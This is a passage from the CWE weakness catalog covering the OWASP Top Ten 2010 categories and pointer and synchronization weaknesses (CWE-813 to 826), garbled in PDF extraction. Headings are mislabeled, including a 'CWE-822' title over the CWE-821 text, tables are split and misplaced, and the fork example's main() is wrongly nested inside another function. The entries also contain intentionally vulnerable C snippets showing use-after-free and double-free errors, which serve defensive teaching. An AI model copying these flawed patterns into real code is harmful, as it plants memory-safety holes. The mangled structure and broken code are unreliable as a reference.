<td>Weaknesses in OWASP Top Ten (2010)</td>
<td>809 1248</td>
</tr>
</tbody>
</table>

References


CWE-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References

Category ID: 813 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2010.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>809 30</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>809 190</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>809 744</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>639</td>
<td>Authorization Bypass Through User-Controlled Key</td>
<td>809 990</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☢</td>
<td>809</td>
<td>Weaknesses in OWASP Top Ten (2010)</td>
<td>809 1248</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
<td>809 1266</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>862</td>
<td>Missing Authorization</td>
<td>809 1303</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☢</td>
<td>863</td>
<td>Incorrect Authorization</td>
<td>809 1308</td>
</tr>
</tbody>
</table>

References


CWE-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)

Category ID: 814 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2010.

Relationships
CWE Version 2.11

CWE-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>809</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>809</td>
<td>Weaknesses in OWASP Top Ten (2010)</td>
<td>809</td>
</tr>
</tbody>
</table>

References

CWE-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration

Category ID: 815 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2010.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>219</td>
<td>Sensitive Data Under Web Root</td>
<td>809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
<td>809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>538</td>
<td>File and Directory Information Exposure</td>
<td>809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
<td>809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>809</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>809</td>
<td>Weaknesses in OWASP Top Ten (2010)</td>
<td>809</td>
</tr>
</tbody>
</table>

References

CWE-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage

Category ID: 816 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2010.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
<td>809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
<td>809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>759</td>
<td>Use of a One-Way Hash without a Salt</td>
<td>809</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>809</td>
<td>Weaknesses in OWASP Top Ten (2010)</td>
<td>809</td>
</tr>
</tbody>
</table>

References

CWE-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access

Category ID: 817 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2010.

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>285</td>
<td>Improper Authorization</td>
<td>502</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>809</td>
<td>Weaknesses in OWASP Top Ten (2010)</td>
<td>1248</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>862</td>
<td>Missing Authorization</td>
<td>1303</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>863</td>
<td>Incorrect Authorization</td>
<td>1308</td>
</tr>
</tbody>
</table>

References


CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection

Category ID: 818 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2010.

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>549</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
<td>563</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>809</td>
<td>Weaknesses in OWASP Top Ten (2010)</td>
<td>1248</td>
</tr>
</tbody>
</table>

References


CWE-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards

Category ID: 819 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2010.

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
<td>944</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>809</td>
<td>Weaknesses in OWASP Top Ten (2010)</td>
<td>1248</td>
</tr>
</tbody>
</table>

References


CWE-820: Missing Synchronization

Weakness ID: 820 (Weakness Base)  Status: Incomplete

Description

Summary

The software utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

Extended Description

If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.
Common Consequences

**Integrity**

**Confidentiality**

**Other**

**Modify application data**

**Read application data**

**Alter execution logic**

Demonstrative Examples

The following code intends to fork a process, then have both the parent and child processes print a single line.

**C/C++ Example:**

```c
static void print (char * string) {
    char * word;
    int counter;
    for (word = string; counter = *word++; ) {
       putc(counter, stdout);
       fflush(stdout);
        /* Make timing window a little larger... */
        sleep(1);
    }
    int main(void) {
        pid_t pid;
        pid = fork();
        if (pid == -1) {
            exit(-2);
        }
        else if (pid == 0) {
            print("child\n");
        }
        else {
            print("PARENT\n");
        }
        exit(0);
    }
}
```

One might expect the code to print out something like:

```
PARENT
child
```

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

```
PcAhRIrEinT
```

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☓</td>
<td>662</td>
<td>Improper Synchronization</td>
<td>699</td>
<td>1026</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☓</td>
<td>853</td>
<td>CERT Java Secure Coding Section 08 - Locking (LCK)</td>
<td>844</td>
<td>1299</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☓</td>
<td>543</td>
<td>Use of Singleton Pattern Without Synchronization in a Multithreaded Context</td>
<td>699</td>
<td>885</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☓</td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
<td>1000</td>
<td></td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>LCK05-J</td>
<td>Synchronize access to static fields that can be modified by untrusted code</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-822: Untrusted Pointer Dereference

Weakness ID: 821 (Weakness Base)  Status: Incomplete
Description
Summary
The software utilizes a shared resource in a concurrent manner but it does not correctly synchronize access to the resource.
Extended Description
If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.
Common Consequences
Integrity
Confidentiality
Other
Modify application data
Read application data
Alter execution logic
Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>📌</td>
<td>662</td>
<td>Improper Synchronization</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>572</td>
<td>Call to Thread run() instead of start()</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌐</td>
<td>574</td>
<td>EJB Bad Practices: Use of Synchronization Primitives</td>
</tr>
</tbody>
</table>

CWE-822: Untrusted Pointer Dereference

Weakness ID: 822 (Weakness Base)  Status: Incomplete
Description
Summary
The program obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
Extended Description
An attacker can supply a pointer for memory locations that the program is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical program state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a program variable to an unexpected value (since the value will be read from an unexpected memory location).

There are several variants of this weakness, including but not necessarily limited to:
- The untrusted value is directly invoked as a function call.
- In OS kernels or drivers where there is a boundary between “userland” and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).
- Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.

Terminology Notes
Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.
Common Consequences
Confidentiality
Read memory
If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

Availability
DoS: crash / exit / restart
If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Modify memory
If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-5655</td>
<td>message-passing framework interprets values in packets as pointers, causing a crash.</td>
</tr>
<tr>
<td>CVE-2009-0311</td>
<td>An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution.</td>
</tr>
<tr>
<td>CVE-2009-1250</td>
<td>An error code is incorrectly checked and interpreted as a pointer, leading to a crash.</td>
</tr>
<tr>
<td>CVE-2009-1719</td>
<td>Untrusted dereference using undocumented constructor.</td>
</tr>
<tr>
<td>CVE-2010-1253</td>
<td>Spreadsheet software treats certain record values that lead to &quot;user-controlled pointer&quot; (might be untrusted offset, not untrusted pointer).</td>
</tr>
<tr>
<td>CVE-2010-1818</td>
<td>Undocumented attribute in multimedia software allows &quot;unmarshaling&quot; of an untrusted pointer.</td>
</tr>
<tr>
<td>CVE-2010-2299</td>
<td>labeled as a &quot;type confusion&quot; issue, also referred to as a &quot;stale pointer.&quot; However, the bug ID says &quot;contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly&quot;. The &quot;handle&quot; in the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668).</td>
</tr>
<tr>
<td>CVE-2010-3189</td>
<td>ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌡️</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>🌡️</td>
<td>125</td>
<td>Out-of-bounds Read</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌡️</td>
<td>465</td>
<td>Pointer Issues</td>
<td>784</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>🌡️</td>
<td>787</td>
<td>Out-of-bounds Write</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌡️</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On The Cusp</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌡️</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>CanFollow</td>
<td>🌡️</td>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🌡️</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Research Gaps
Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

Taxonomy Mappings
CWE Version 2.11
CWE-823: Use of Out-of-range Pointer Offset

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM10-CPP</td>
<td>Define and use a pointer validation function</td>
</tr>
</tbody>
</table>

**Maintenance Notes**
There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

### CWE-823: Use of Out-of-range Pointer Offset

**Weakness ID:** 823  *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**
The program performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

**Extended Description**
While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.

Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the program. As a result, the attack might change the state of the software as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.

**Alternate Terms**
**Untrusted pointer offset**
This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

**Terminology Notes**
Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

**Common Consequences**

**Confidentiality**
Read memory
If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

**Availability**
DoS: crash / exit / restart
If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.

**Integrity**
Confidentiality
Availability
**Execute unauthorized code or commands**
Modify memory
If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.
Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2500</td>
<td>large number of elements leads to a free of an arbitrary address</td>
</tr>
<tr>
<td>CVE-2007-5657</td>
<td>values used as pointer offsets</td>
</tr>
<tr>
<td>CVE-2008-1686</td>
<td>array index issue (CWE-129) with negative offset, used to dereference a function pointer</td>
</tr>
<tr>
<td>CVE-2008-1807</td>
<td>invalid numeric field leads to a free of arbitrary memory locations, then code execution.</td>
</tr>
<tr>
<td>CVE-2008-4114</td>
<td>untrusted offset in kernel</td>
</tr>
<tr>
<td>CVE-2009-0690</td>
<td>negative offset leads to out-of-bounds read</td>
</tr>
<tr>
<td>CVE-2009-1097</td>
<td>portions of a GIF image used as offsets, causing corruption of an object pointer.</td>
</tr>
<tr>
<td>CVE-2009-2687</td>
<td>Language interpreter does not properly handle invalid offsets in JPEG image, leading to out-of-bounds memory access and crash.</td>
</tr>
<tr>
<td>CVE-2009-2694</td>
<td>Instant messaging library does not validate an offset value specified in a packet.</td>
</tr>
<tr>
<td>CVE-2009-3129</td>
<td>Spreadsheet program processes a record with an invalid size field, which is later used as an offset.</td>
</tr>
<tr>
<td>CVE-2010-1281</td>
<td>Multimedia player uses untrusted value from a file when using file-pointer calculations.</td>
</tr>
<tr>
<td>CVE-2010-2160</td>
<td>Invalid offset in undocumented opcode leads to memory corruption.</td>
</tr>
<tr>
<td>CVE-2010-2866</td>
<td>negative value (signed) causes pointer miscalculation</td>
</tr>
<tr>
<td>CVE-2010-2867</td>
<td>a return value from a function is sign-extended if the value is signed, then used as an offset for pointer arithmetic</td>
</tr>
<tr>
<td>CVE-2010-2872</td>
<td>signed values cause incorrect pointer calculation</td>
</tr>
<tr>
<td>CVE-2010-2873</td>
<td>&quot;blind trust&quot; of an offset value while writing heap memory allows corruption of function pointer, leading to code execution</td>
</tr>
<tr>
<td>CVE-2010-2878</td>
<td>&quot;buffer seek&quot; value - basically an offset?</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>[ ]</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699 226</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>[ ]</td>
<td>125</td>
<td>Out-of-bounds Read</td>
<td>1000 253</td>
</tr>
<tr>
<td>ChildOf</td>
<td>[ ]</td>
<td>465</td>
<td>Pointer Issues</td>
<td>699 784</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>[ ]</td>
<td>787</td>
<td>Out-of-bounds Write</td>
<td>1000 1211</td>
</tr>
<tr>
<td>CanFollow</td>
<td>[ ]</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>1000 258</td>
</tr>
</tbody>
</table>

Research Gaps

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

References


Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

CWE-824: Access of Uninitialized Pointer

<table>
<thead>
<tr>
<th>Weakness ID: 824 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
The program accesses or uses a pointer that has not been initialized.

Extended Description
CWE Version 2.11
CWE-824: Access of Uninitialized Pointer

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the program to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and program operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

Terminology Notes
Many weaknesses related to pointer dereferences fall under the general term of “memory corruption” or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Common Consequences
Confidentiality
Read memory
If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

Availability
DoS: crash / exit / restart
If the uninitialized pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-1201</td>
<td>LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails.</td>
</tr>
<tr>
<td>CVE-2006-0054</td>
<td>Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer.</td>
</tr>
<tr>
<td>CVE-2006-4175</td>
<td>LDAP server mishandles malformed BER queries, leading to free of uninitialized memory</td>
</tr>
<tr>
<td>CVE-2006-6143</td>
<td>Uninitialized function pointer in freed memory is invoked</td>
</tr>
<tr>
<td>CVE-2007-1213</td>
<td>Crafted font leads to uninitialized function pointer.</td>
</tr>
<tr>
<td>CVE-2007-2442</td>
<td>zero-length input leads to free of uninitialized pointer.</td>
</tr>
<tr>
<td>CVE-2007-4000</td>
<td>Unchecked return values can lead to a write to an uninitialized pointer.</td>
</tr>
<tr>
<td>CVE-2007-4639</td>
<td>Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution.</td>
</tr>
<tr>
<td>CVE-2007-4682</td>
<td>Access of uninitialized pointer might lead to code execution.</td>
</tr>
<tr>
<td>CVE-2008-2934</td>
<td>Crafted GIF image leads to free of uninitialized pointer.</td>
</tr>
<tr>
<td>CVE-2009-0040</td>
<td>Crafted PNG image leads to free of uninitialized pointer.</td>
</tr>
<tr>
<td>CVE-2009-0846</td>
<td>Invalid encoding triggers free of uninitialized pointer.</td>
</tr>
<tr>
<td>CVE-2009-1415</td>
<td>Improper handling of invalid signatures leads to free of invalid pointer.</td>
</tr>
<tr>
<td>CVE-2009-1721</td>
<td>Free of an uninitialized pointer.</td>
</tr>
<tr>
<td>CVE-2009-2768</td>
<td>Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash.</td>
</tr>
<tr>
<td>CVE-2010-0211</td>
<td>chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>699</td>
</tr>
<tr>
<td>226</td>
</tr>
<tr>
<td>1000</td>
</tr>
</tbody>
</table>
Research Gaps
Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

References

Maintenance Notes
There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

CWE-825: Expired Pointer Dereference

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>125</td>
<td>Out-of-bounds Read</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>465</td>
<td>Pointer Issues</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>787</td>
<td>Out-of-bounds Write</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Description**

**Summary**
The program dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

**Extended Description**
When a program releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the program to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.

**Alternate Terms**
Dangling pointer

**Terminology Notes**
Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

**Common Consequences**

**Confidentiality**
Read memory
If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.

**Availability**
DoS: crash / exit / restart
If the expired pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.
CWE Version 2.11
CWE-825: Expired Pointer Dereference

Integrity
Confidentiality
Availability

Execute unauthorized code or commands
If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Demonstrative Examples

**Example 1:**
The following code shows a simple example of a use after free error:

**C Example:**

```c
char* ptr = (char*)malloc(SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

**Example 2:**
The following code shows a simple example of a double free error:

**C Example:**

```c
char* ptr = (char*)malloc(SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:
- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1211</td>
<td>read of value at an offset into a structure after the offset is no longer valid</td>
</tr>
<tr>
<td>CVE-2008-5013</td>
<td>access of expired memory address leads to arbitrary code execution</td>
</tr>
<tr>
<td>CVE-2010-3257</td>
<td>stale pointer issue leads to denial of service and possibly other consequences</td>
</tr>
</tbody>
</table>

Potential Mitigations

**Architecture and Design**
Choose a language that provides automatic memory management.

**Implementation**
When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>🟡</td>
<td>125</td>
<td>Out-of-bounds Read</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>465</td>
<td>Pointer Issues</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-826: Premature Release of Resource During Expected Lifetime

Nature | Type | ID | Name | Page
--- | --- | --- | --- | ---
ChildOf | | 672 | Operation on a Resource after Expiration or Release | 699 1041
CanPrecede | | 787 | Out-of-bounds Write | 1000 1211
ChildOf | | 867 | 2011 Top 25 - Weaknesses On the Cusp | 900 1314
ParentOf | | 415 | Double Free | 1000 718
ParentOf | | 416 | Use After Free | 1000 720
CanFollow | | 562 | Return of Stack Variable Address | 1000 900
MemberOf | | 884 | CWE Cross-section | 884 1323

Research Gaps
Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

Maintenance Notes
There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

CWE-826: Premature Release of Resource During Expected Lifetime

Weakness ID: 826 (Weakness Base) Status: Incomplete

Description

Summary
The program releases a resource that is still intended to be used by the program itself or another actor.

Extended Description
